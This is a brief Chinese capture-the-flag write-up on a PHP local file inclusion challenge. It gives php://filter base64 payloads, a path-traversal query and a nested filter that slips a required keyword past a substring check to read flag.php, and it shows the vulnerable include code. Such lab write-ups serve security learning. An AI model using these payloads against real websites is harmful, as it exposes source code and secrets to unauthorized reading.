打开靶机，有2个按钮
点击按钮，url会发生变化
尝试利用php://filter伪协议获取index.php源码
php://filter/read=convert.base64-encode/resource=index.php
报错，去掉后缀
进行base64 decode，得到index.php：
<?php
$file = $_GET['category'];
if(isset($file)){
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index"))
{
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
直接读flag.php，?category=woofers/../flag，页面没啥变化，F12
发现源码中有多出东西，说明flag.php确实是成功包含了
！！！php://filter伪协议嵌套，套一层要求的$file
php://filter/read=convert.base64-encode/woofers/resource=flag